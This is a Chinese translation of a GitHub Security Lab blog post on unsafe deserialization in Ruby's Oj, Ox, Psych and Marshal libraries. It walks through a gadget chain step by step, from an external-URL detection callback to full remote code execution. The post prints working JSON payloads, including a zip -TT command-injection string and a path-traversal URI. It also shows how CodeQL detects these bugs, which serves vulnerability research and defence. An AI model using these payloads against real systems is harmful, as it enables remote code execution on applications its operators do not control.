攻击者是否可以通过发送 JSON 在远程服务器上执行任意命令?是的,如果正在运行的代码包含不安全的反序列化漏洞。但这怎么可能呢?在这篇博文中,我们将描述不安全的反序列化漏洞的工作原理以及如何在 Ruby 项目中检测它们。
攻击者是否可以通过发送 JSON 在远程服务器上执行任意命令?是的,如果正在运行的代码包含不安全的反序列化漏洞。但这怎么可能呢?
在这篇博文中,我们将描述不安全反序列化漏洞的工作原理以及如何在 Ruby 项目中检测它们。这篇博文中的所有示例都是使用 Ruby 的 Oj JSON 序列化库制作的,但这并不意味着它们仅限于此库。在这篇博文的最后,我们将链接到一个存储库,其中包含适用于 Oj (JSON)、Ox (XML)、Psych (YAML) 和 Marshal (自定义二进制格式) 的有效示例漏洞,并向您展示 CodeQL 如何检测此类漏洞。了解不安全反序列化的工作原理可以帮助您完全避免此类错误,而不是专注于避免某些方法。
内容
一步步:为 Oj 构建检测工具 链
许多人都知道如何利用反序列化漏洞。但它究竟是如何运作的呢?(这既是魔法,也是汗水和泪水。)在本节中,我们将展示如何为 Oj(一个基于 Ruby 的 JSON 反序列化库)构建一个不安全的反序列化检测小工具,该小工具调用外部 URL。此检测小工具基于 William Bowling(又名vakzz)为 Marshal 和 Ruby 3.0.3 开发的通用反序列化小工具,适用于 Oj 和 Ruby 3.3。
1. 从课程开始
大多数情况下,不安全的反序列化漏洞都与反序列化库支持多态性的能力有关,这意味着能够实例化序列化数据中指定的任意类或类状结构。然后,攻击者将这些类链接在一起,在被利用的系统上执行代码。所有使用的类通常都必须由被利用的项目访问。在这种情况下,用于特定目的(例如执行命令或代码)的类称为小工具。而通过将这些类组合起来成为更大漏洞的一部分(例如,通过嵌套它们),我们得到了所谓的小工具链。序列化和反序列化任意构造的能力长期以来被视为一项强大的功能,它最初并非用于代码执行。2015 年,随着 FoxGlove Security 发布了一篇关于广泛存在的 Java 反序列化漏洞的博客文章,公众对此功能的看法发生了变化。2017 年,BlackHat 上展示了针对基于 Java 和 .NET 的 JSON 库的不安全反序列化攻击,标题为“ 13 号星期五:JSON 攻击”https://www.blackhat.com/us-17/briefings.html#friday-the-13th-json-attacks。
当使用名为 Oj 的(非默认)Ruby 库反序列化 JSON 时,项目很容易受到攻击,只需构造如下内容即可:
data = Oj.load(untrusted_json)
Oj 库默认支持 JSON 中指定的类的实例化。
可以通过指定附加参数或使用来禁用此行为Oj.safe_load。
正如介绍中所提到的,不安全的反序列化漏洞不仅限于 JSON;它们可能发生在从用户控制的数据反序列化的任意类或类似类的结构的任何地方。
要实例化一个名称为 且具有内容为MyClass的字段的类,必须将以下 JSON 传递给易受攻击的 Oj 接收器。member value
{
"^o": "MyClass",
"member": "value"
}
2. 接下来是映射(哈希)、列表、getter、setter、构造函数等
虽然类的实例化是反序列化不安全漏洞最常见的特征,但接下来的构造块因语言而异。虽然在 Java 和类似语言中,反序列化不安全漏洞有时会使用构造函数、setter 和 getter 来初始触发代码执行,但对于 Ruby 反序列化漏洞,我们不能依赖它们。Vakzz的博客文章_load是关于 Ruby 二进制 Marshal 序列化的利用,它依赖于一种名为(类似于 Java 的)的所谓魔术方法(在序列化对象重建中调用的方法)readObject来触发代码执行。但是,Oj 不会调用这个魔术方法,因此为了触发我们的小工具链的执行,我们不能依赖这个方法,而必须找到其他方法。
首先回答这个问题:我们可以使用什么来触发 Oj 中的代码执行?
方法hash(code)!
Oj 并不是我们依赖该hash方法作为小工具链启动的唯一反序列化库。hash当反序列化库将键值对添加到哈希图(在 Ruby 中简称为哈希本身)时,通常会在键对象上调用该方法。
下表展示了 Ruby 中流行的序列化库的启动方法:
让我们创建一个小的概念证明来演示如何使用该hash方法启动我们的小工具链。
我们假设我们有一个类,例如下面的类,在目标 Ruby 项目中可用(提示:在实际项目中不会有这样的小工具):
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
调用“hash”将使用“system”执行“@cmd”成员变量中的命令。请注意,在 Oj 反序列化过程中,不会执行构造函数。在这里,我们使用它自己创建一个快速示例有效负载并转储生成的 JSON:
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
注意:虽然直接序列化单个小工具可能有意义,但序列化甚至只是调试整个小工具链通常很危险,因为它可能会在序列化过程中触发链的执行(这不会给你预期的结果,但你会“利用”你自己的系统)。
有效载荷 JSON 如下所示:
{
"^o": "SimpleClass",
"cmd": "open -a calculator"
}
如果我们现在加载此 JSON,则Oj.load不会发生任何事情。为什么?因为实际上没有人调用 hash 方法。
data = Oj.load(json_payload)
因此,目前没有计算器。
但现在的问题是:我们如何hash(code)自己触发该方法?我们必须将要实例化的类作为键放入 hash(map) 中。如果我们现在将我们之前的有效负载打包为 hash(map) 作为键,它在 Oj 的序列化格式中看起来像这样:
hash(map) 条目的值保留为“any”。现在,只需加载 JSON 即可触发命令执行:
Oj.load(json_payload)
瞧:我们启动了计算器。
3. 使用小工具构建有效载荷
现在,实际上我们的目标项目不会有一个“SimpleClass”,当其哈希方法被调用时,它只会执行命令。没有软件工程师会开发这样的东西(我希望😅)。
旁注:当调用 hashCode() 或 equals() 时,Java 的 URL 类会执行 DNS 查找。🙈
我们需要使用我们正在分析的 Ruby 项目或其依赖项中的类。最好甚至希望使用 Ruby 本身的类,这样它们始终可用。如何找到这样的类在Elttam的2018 年博客文章和 vakzz 的2022 年博客文章中进行了描述。
我们现在专注于将 vakzz 的通用 Marshal 小工具链从 2022 移植到 Oj 和 Ruby 3.3。创建可运行的小工具链的艰苦工作主要由 vakzz 完成;我们在这里重用了大部分部件来组装一个可在较新版本的 Ruby 和其他反序列化库中运行的小工具链。目标是拥有一个能够调用任意 URL 的小工具链。也就是说,我们有兴趣获得对服务器的回调,以证明我们能够(希望)执行代码而不会造成任何进一步的损害。
免责声明:这并不意味着此检测小工具链无害。请仅针对您自己的系统或您有书面许可的系统使用此工具链。
to_s现在,vakzz 的小工具链依赖于对(toString)的调用来启动。在specification.rb 的方法to_s内部触发。是使用 Marshall 反序列化对象时触发的方法。Oj 反序列化器不使用或类似的方法。_load _load_load
Oj执行的类的粗略实例化过程如下:
-
实例化一个类外壳(不调用构造函数)。
-
直接填充类字段(无需调用设置器)。
因此,这个正常的反序列化过程本身不会触发代码执行。但从上面的简单示例中,我们知道我们可以调用hash。目前,这已经足够了。
我们现在了解到:
-
我们可以hash在任意类(启动小工具)上触发该方法。
-
我们必须to_s在内部成员上调用该方法。
=> 我们必须在两者之间找到一座桥梁:
对于此过程,您可以使用CodeQL等工具并编写在ruby/ruby代码库上运行的自定义查询。经过一番查询,我在之前遇到的一个类中找到了桥梁:Requirement 类。它的哈希方法确实调用了to_s;
def hash # :nodoc:
requirements.map {|r| r.first == "~>" ? [r[0], r[1].to_s] : r }.sort.hash
end
首先,对于不熟悉 Ruby 的人来说,这可能看起来有点复杂。因此,我们将to_s在这里分解调用内部小工具的要求:
-
requirements我们需要一个可以使用 map 函数进行转换的数组。
-
在这个数组里面我们需要另一个数组,其第一个元素(r[0])等于“ ~> ”。
-
如果我们将下一个小工具放在第二个元素(r[1]) 内,那么将会调用to_s方法!
用 JSON 来表达的话可能像这样:
[ ["~>", <INNER_GADGETS> ] ]
我们现在能够桥接从hash到的调用to_s并触发小工具链的其余部分。
vakzz 的小工具链的以下边界是 类型Gem::RequestSet::Lockfile。当to_s在 Lockfile 类的对象上调用 时,它会调用spec_groups同一个类:
def to_s
out = []
groups = spec_groups
[..]
方法枚举返回字段的方法spec_groups的返回值。(请注意,在 Ruby 3.3 之前的版本中,此字段被称为。)requests sorted_requests RequestSet sorted
对于不熟悉 Ruby 的人来说可能不太明显的是,该语句requests实际上调用了该requests方法。
def spec_groups
requests.group_by {|request| request.spec.class }
end
以同样的方式,在枚举请求时,spec在内部类上调用该方法。对内部的调用会导致对类型的调用,进而导致对 source_uri 的调用:Gem::Resolver::IndexSpecification spec fetch_spec Gem::Source fetcher.fetch_path
def fetch_spec(name_tuple)
fetcher = Gem::RemoteFetcher.fetcher
spec_file_name = name_tuple.spec_name
source_uri = enforce_trailing_slash(uri) + "#{Gem::MARSHAL_SPEC_DIR}#{spec_file_name}"
[..]
source_uri.path << ".rz"
spec = fetcher.fetch_path source_uri
[..]
end
source_uri本身是从内部uri属性构建的。这uri是类型URI::HTTP。现在,这看起来很简单,人们可能倾向于使用具有 http 或 https 方案的普通 URI 对象。这在某种程度上是可行的,但由于在这些情况下解析了 URI,因此生成的 URL 路径将无法完全选择,这使得接下来的恶作剧变得不可能。因此,vakzz 找到了一种使用 S3 作为 URI 对象方案的方法。在 JSON 中,它看起来像这样:
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
}
在此示例中,URL 的方案设置为“s3”,而“主机”(!) 设置为“ example.org/anyurl?”。
该uri属性具有以下内容:
人们可能会注意到,至少在这个示例中,主机和端口看起来不一样。
source_uri之前提供的完整内容fetcher.fetch_path如下所示:
现在,由于此 URI 对象的方案是s3,因此RemoteFetcher 调用方法fetch_s3,该方法使用给定的用户名和密码对 URL 进行签名,并根据该 URL 创建 HTTPS URI。然后它调用 fetch_https。
在这里,我们注意到 URL 的主机和端口再次恢复正常。幸运的是,所有其他附加信息都放在了标记查询的问号后面。因此,我们的目标 URL 将按我们想要的方式调用。
#<URI::HTTPS https://example.org/anyurl?.s3.us-east-1.amazonaws.com/quick/Marshal.4.8/-.gemspec.rz?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=anyuser%2F20240412%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240412T120426Z&X-Amz-Expires=86400&X-Amz-SignedHeaders=host&X-Amz-Signature=fd04386806e13500de55a3aec222c2de9094cba7112eb76b4d9912b48145977a>
在使用我们所需的 URL 调用后fetch_https,类的代码Source会尝试扩充并存储下载的内容。在这种检测场景中,我们的小工具应该只调用我们选择的外部 URL(例如,像Canarytokens或 Burp Collaborator 这样的服务),这样当 URL 被调用时,我们就会收到通知,最好在提取和存储接收到的数据之前结束漏洞利用的执行。
当我们将检测小工具链放入易受攻击的Oj.load接收器时,我们定义的 URL 将使用 GET 请求进行请求。此请求如下所示(使用 Burp 的 Collaborator):
=> 触发给定的 URL 后,我们知道检测到了易受攻击的应用程序。此技术还可以帮助检测基于 JSON 的漏洞利用的带外执行。
(请注意,如果目标系统不允许出站连接或仅允许连接到允许列表中的 URL,则此技术将不起作用。)
下图显示了如何通过调用类来触发小工具链hash以及Gem::Requirement如何通过调用来结束fetch_path小工具链Gem::Source class:
将检测工具扩展为成熟的通用远程代码执行链
现在我们已经构建了用于检测的小工具链,我们还想知道导致远程代码执行(RCE)的小工具链是否可行。
前面提到的 vakzz 自 2022 年 4 月以来基于 Marshal 的小工具链允许针对基于 Ruby 3.0.2 的项目执行远程代码。但这种方法在 Ruby 3.2 左右的某个地方停止了工作。如前所述,Ruby 3.3 至少出现了一个额外的问题。
因此,我们必须解决这两个问题才能使用 Ruby 3.3 实现远程代码执行。
简而言之:vakzz 的小工具链使用Gem::Source::Git类来执行命令,即通过我们之前见过的类内部的方法rev-parse触发的方法:add_GIT Gem::RequestSet::Lockfile
def rev_parse # :nodoc:
hash = nil
Dir.chdir repo_cache_dir do
hash = Gem::Util.popen(@git, "rev-parse", @reference).strip
end
[..]
end
在这里,我们看到调用了某个 Util.popen方法,该方法本身又调用了IO.popen:一个经典的命令注入接收器!该popen方法使用来自成员变量 的命令进行调用@git,后跟一个字符串文字rev-parse作为第一个参数,第二个成员变量@reference也受攻击者控制。好吧,既然我们知道我们很可能控制这些成员变量,这看起来很有趣,对吧?
现在,至少有一个问题:该方法rev_parse想要将工作目录更改repo_cache_dir为。并且 repo_cache_dir 定义如下:
def repo_cache_dir # :nodoc:
File.join @root_dir, "cache", "bundler", "git", "#{@name}-#{uri_hash}"
end
因此,此方法加入一个以成员变量开头的目录,@root_dir然后是静态文件夹“cache”、“bundler”和“git”,然后是成员变量@name和的组合文件夹uri_hash。uri_hash这是一个更长的方法,其功能可以缩写为“成员变量的 SHA-1 哈希值@repository”。
所有组合repo_cache_dir将返回如下路径:
@root_dir/cache/bundler/git/@name-SHA1(@repository)
因此,我们要么必须知道目标系统上有这样一个文件夹,可以使用我们控件中的三个成员变量指向该文件夹,要么必须自己创建该文件夹。现在,至少由于涉及 @name + SHA-1 哈希组合,了解目标系统上有这样一个文件夹可能有点棘手。但是我们如何自己创建这样的文件夹呢?
这种对现有文件夹的需求实际上是 vakzz 的小工具链使用我们用作检测的第一部分的原因之一。如果给定的获取和扩充成功,则前面提到的fetch_spec类方法将在给定的上Gem::Source执行。mkdir_p cache_dir source_uri
def fetch_spec(name_tuple)
[..]
cache_dir = cache_dir source_uri
local_spec = File.join cache_dir, spec_file_name
[..]
spec = fetcher.fetch_path source_uri
spec = Gem::Util.inflate spec
if update_cache?
require "fileutils"
FileUtils.mkdir_p cache_dir
File.open local_spec, "wb" do |io|
io.write spec
end
end
[..]
end
由于是和cache_dir的组合,我们知道,由于使用了 S3 方案,可能会有一些 URL 的诡计,否则这些 URL 是行不通的。现在,由于从下载的文件需要充气,我们将以前的检测小工具的更改为类似以下内容:cache_dir source_uri source_uri URI::HTTP
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz?",
"port": "/../../../../../../../../../../../../../tmp/cache/bundler/git/anyname-a3f72d677b9bbccfbe241d88e98ec483c72ffc95/
",
"path": "/", "user": "anyuser", "password": "anypw"
}
在此示例中,我们直接从 Rubygems.org 加载现有的 inflatable 文件,并确保以下路径中的所有文件夹都存在:
/tmp/cache/bundler/git/anyname-a3f72d677b9bbccfbe241d88e98ec483c72ffc95/
字符串“a3f72d677b9bbccfbe241d88e98ec483c72ffc95”是“anyrepo”的 SHA-1 哈希值,我们稍后可以使用它来创建 Git 对象。现在我们知道,我们可以创建一个文件夹,rev-parse可以切换到该文件夹并执行成员变量中给出的命令行工具@git;Marshal 的原始漏洞利用所使用的命令嵌入在压缩的 .rc 文件中,用于执行命令。
旧漏洞利用链的执行顺序大致如下:
-
下载包含压缩命令的.rc 文件。
-
tee rev-parse使用来自扩展的 .rc 文件(文件 rev-parse 现在包含命令)的输入流执行命令。
-
执行命令sh rev-parse.
然而,这个完整的链条在 Ruby 3.2.2 中停止工作,因为strip里面的方法rev-parse现在引发了一个错误:
`strip': invalid byte sequence in UTF-8 (Encoding::CompatibilityError)
挑战
我们现在面临一个有趣的挑战,因为我们需要找到一种执行任意命令的新方法。
我们了解到我们有以下执行命令的骨架:
<arbitrary-bin> rev-parse <arbitrary-second-argument>
约束如下:
-
要执行的二进制文件和第二个参数可以自由选择。
-
第一个参数始终是rev-parse。
-
此popen调用返回的内容应可读为 UTF-8(在 Linux 上),以允许进行其他执行。
-
您可以popen使用不同的二进制和第二个参数组合进行任意多次调用,只要最后一个命令组合的执行最多失败即可。
-
此外,还可以将流作为第二个参数传入。
一个办法
虽然这个挑战有多种解决方案(自己尝试一下!)但我使用GTFOBins搜索了一个解决方案。GTFOBins 有自己的描述:
_“GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.”_
我们基本上正在寻找一个可以以某种方式使用其第二个参数或参数执行命令的实用程序。
在寻找可用于命令执行的 GTFOBins 时,我选择了zip二进制文件,因为它在许多不同的 Linux 发行版上默认可用。当设置标志时zip,允许通过其-TT(–unzip-command) 标志执行命令-T。(请注意,zip 在某些 macOS 版本下可能会有所不同。)
现在还剩下两个问题:
-
第一个参数始终是rev-parse,但-T -TT如果没有名为的 (zip) 文件,则之后的调用不起作用rev-parse.
-
我们只能控制第二个参数,不能添加更多参数,但我们需要-T和-TT。
我们只需创建一个名为 zip 文件即可解决第一个问题rev-parse:
(我们添加到 zip 中的文件并不重要,但我们假设它/etc/passwd存在于典型的 Unix 系统上并且可以被所有人读取。)
zip rev-parse /etc/passwd
第二个问题的解决方式是将两个标志放在一起并按m如下所述分开:
zip rev-parse -TmTT="$(id>/tmp/anyexec)"
这将执行id命令并将其输出存储到/tmp/anyexec。
综合起来
为了创建能够执行代码的小工具链,我们按顺序排列以下部分:
-
下载任何可以放气并触发文件夹创建的 rc 文件。
-
执行zip以创建一个名为 rev-parse 的 zip 文件。
-
第二次执行zip即可执行任意命令。
最后一个 zip 执行的 JSON 格式如下:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT="$(id>/tmp/anyexec)"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
=> 现在,我们可以通过向易受攻击的应用程序提供我们的 JSON 来执行命令(例如计算器)。
这里我们看到了测试命令的结果。的输出id已写入文件/tmp/anyexec.:
请参阅本博文附带的存储库中的完整小工具链。https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization使用此小工具链,我们可以在易受攻击的项目上使用任意命令。
在源代码可用时检测不安全的反序列化
前面显示的小工具链允许您在不访问项目源代码的情况下检测不安全反序列化的实例。但是,如果您可以访问 CodeQL 和项目源代码,并且想要检测不安全反序列化的实例,则可以利用 CodeQL 的用户控制数据查询的反序列化。此查询将检测不受信任的数据流向不安全反序列化接收器的代码位置。此查询是GitHub 使用针对 Ruby 的 CodeQL 查询集进行代码扫描的一部分,结果将在代码扫描部分中显示如下:
如果您只想概览易受攻击的接收器而不进行任何流量分析,请在安装了CodeQL 扩展的Visual Studio Code中打开名为 UnsafeDeserializationQuery.qll 的查询,然后单击“快速评估:isSink”。
这将返回项目内所有不安全的反序列化接收器的列表(需要项目的CodeQL 数据库)。有关此方法的更多信息,请参阅CodeQL zero to hero博客系列第三部分中的查找特定漏洞类型的所有接收器。
Ruby 中不同不安全反序列化接收器的概述
据观察,本文展示的小工具链可运行至 Ruby 3.3.3(2024 年 6 月发布)。我们创建了一个存储库,其中包含以下反序列化库的漏洞利用代码:
-
OJ(JSON)
-
OX (XML)
-
Ruby YAML/Psych(不安全使用时)
-
Ruby Marshal(自定义二进制格式)*
Marshall 版本的小工具链仅适用于 Ruby 3.2.4(2024 年 4 月发布)以下版本。
在这里,我们列出了手动代码审查中存在漏洞的接收器——GitHub 的代码扫描/CodeQL 已经知道所有这些接收器。https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
结论
在这篇博文中,我们展示了如何以不同的方式检测和利用不安全的反序列化漏洞。如果您可以访问源代码,检测不安全的反序列化漏洞的最简单方法是使用CodeQL在您的存储库上使用 GitHub 代码扫描。如果您想深入研究您的代码,您可以使用 Visual Studio Code 的 CodeQL 扩展来实现这一点。
如果您无法访问项目的源代码,则可以使用我们在本博客文章中逐步构建的检测小工具来远程检测不安全的反序列化漏洞。(检测小工具会调用您指定的 URL)。本文还解释了通用远程代码执行 (RCE) 小工具链的工作原理——您可能只想在实验室环境中使用它。Marshal、YAML、Oj 和 Ox 反序列化库的所有小工具链都可以在随附的存储库中找到。
Execute commands by sending JSON? Learn how unsafe deserialization vulnerabilities work in Ruby projects
https://github.blog/2024-06-20-execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/
原文始发于微信公众号(Ots安全):通过发送 JSON 来执行命令?了解 Ruby 项目中不安全的反序列化漏洞如何运作
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论